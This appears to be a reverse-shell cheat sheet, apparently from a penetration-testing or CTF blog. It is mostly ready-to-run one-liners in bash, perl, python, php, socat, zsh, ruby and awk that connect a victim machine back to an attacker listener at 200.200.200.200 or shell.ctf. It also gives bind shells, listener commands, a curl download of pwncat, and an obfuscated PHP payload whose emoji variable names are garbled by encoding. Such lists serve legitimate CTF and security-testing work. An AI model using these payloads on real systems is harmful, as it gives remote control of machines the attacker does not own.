A Reverse Shell is useful for passing through routers and firewalls that allow outbound connections but block inbound ones.
Listener: the host that receives the connection and takes control of the connected machine.
In other words, a hacker creates a listener and the victim connects back to it, giving full control.
OUT OF THE BOX
Most Linux distributions (including Ubuntu 20.04) already have the necessary tools for the following commands.
LISTENER
nc -lvnp 9001
REVERSE SHELLS
sh -i >& /dev/tcp/200.200.200.200/9001 0>&1
exec 5<>/dev/tcp/200.200.200.200/9001;cat <&5 | while read line; do $line 2>&5 >&5; done
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 200.200.200.200 9001 >/tmp/f
perl -e 'use Socket;$i="200.200.200.200";$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
export RHOST="200.200.200.200";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("200.200.200.200",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("200.200.200.200",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
0<&196;exec 196<>/dev/tcp/200.200.200.200/9001; sh <&196 >&196 2>&196
TF=$(mktemp -u);mkfifo $TF && telnet 200.200.200.200 9001 0<$TF | sh 1>$TF
Most commands will provide a simple “# ” prompt, but the last three will not.
USING PYTHON2
Python3 comes pre-installed on most modern distributions, but if it is not available and Python2 is, use the following.
INSTALLATION
apt install python
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
export RHOST="200.200.200.200";export RPORT=9001;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("200.200.200.200",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Both commands will provide a simple “# ” prompt.
USING PHP
PHP is a core component of most web servers but can also run directly in the shell.
INSTALLATION
apt install php7.4-cli
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
php -r '$๐="1";$๐="2";$๐ ="3";$๐="4";$๐="5";$๐="6";$๐="7";$๐="8";$๐="9";$๐="0";$๐คข=" ";$๐ค="<";$๐ค =">";$๐ฑ="-";$๐ต="&";$๐คฉ="i";$๐ค=".";$๐คจ="/";$๐ฅฐ="a";$๐="b";$๐ถ="i";$๐="h";$๐="c";$๐คฃ="d";$๐="e";$๐="f";$๐="k";$๐="n";$๐="o";$๐="p";$๐ค="s";$๐="x";$๐ = $๐. $๐ค. $๐. $๐. $๐. $๐. $๐. $๐. $๐;$๐ = "200.200.200.200";$๐ป = 9001;$๐ = "sh". $๐คข. $๐ฑ. $๐คฉ. $๐คข. $๐ค. $๐ต. $๐ . $๐คข. $๐ค . $๐ต. $๐ . $๐คข. $๐. $๐ค . $๐ต. $๐ ;$๐คฃ = $๐($๐,$๐ป);$๐ฝ = $๐. $๐. $๐. $๐;$๐ฝ($๐);'
php -r '$sock=fsockopen("200.200.200.200",9001);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);shell_exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);system("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);passthru("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("200.200.200.200",9001);`sh <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("200.200.200.200",9001);popen("sh <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("200.200.200.200",9001);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Only the first command will offer a simple “# ” prompt. The others will not, and the last one will not hold the prompt on the victim’s side.
USING SOCAT
Socat is a multipurpose relay that can establish multi-directional TCP connections, similar to netcat.
INSTALLATION
apt install socat
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
socat TCP:200.200.200.200:9001 EXEC:'sh',pty,stderr,setsid,sigint,sane
socat TCP:200.200.200.200:9001 EXEC:sh
The first command will provide a simple “# ” prompt.
USING ZSH
INSTALLATION
apt install zsh
LISTENERS
nc -lvnp 9001
ncat -lvnp 9001
REVERSE SHELLS
zsh -c 'zmodload zsh/net/tcp && ztcp 200.200.200.200 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Unfortunately, this will not offer any prompt.
ADDITIONAL LISTENERS
FOR LINUX
rlwrap -cAr nc -lvnp 9001
socat -d -d TCP-LISTEN:9001 STDOUT
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat > pwncat.py chmod +x pwncat.py pwncat -l 9001 pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444,4445,4446,4447 pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444-4447 pwncat -l 9001 --self-inject /bin/bash:127.0.0.1:4444+3
FOR WINDOWS
stty raw -echo; (stty size; cat) | nc -lvnp 9001
FOR MAC
brew install pwncat python3 -m pwncat -lp 9001
BIND SHELLS
Bind shells are the opposite of reverse shells. The target host listens on a port and waits for an incoming connection.
BIND (LISTENERS)
python3 -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'
CONNECTION
nc 200.200.200.200 9001
IPv6
This may seem straightforward, but it is not. During the 2025 NSEC CTF Competition, an IPv6-only environment revealed that many popular hacking tools are not prepared for it.
Listener
socat -d -d TCP-LISTEN:1337 STDOUT
Victim
# Socat socat TCP:shell.ctf:1337 EXEC:sh socat TCP:shell.ctf:1337 EXEC:'sh',pty,stderr,setsid,sigint,sane
# BusyBox NetCat busybox nc shell.ctf 1337 -e sh
# PHP
php -r '$sock=fsockopen("shell.ctf",1337);exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);shell_exec("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);system("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);passthru("sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("shell.ctf",1337);`sh <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("shell.ctf",1337);popen("sh <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("shell.ctf",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
# Ruby
ruby -rsocket -e'exit if fork;c=TCPSocket.new("shell.ctf","1337");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
# AWK
awk 'BEGIN {s = "/inet/tcp/0/shell.ctf/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Note: Using a DNS name makes things much easier because the : characters in an IPv6 address can conflict with the :<PORT> separator. If DNS is not an option, wrap the IPv6 address in square brackets (e.g., [fe80::3a07:ba07:63c4:9a36]).
BONUS
See the repository with automation for a growing list of listeners and reverse shell commands at [Link].
You can also use the following command to import pty and spawn a real shell:
python -c 'import pty; pty.spawn("/bin/bash")'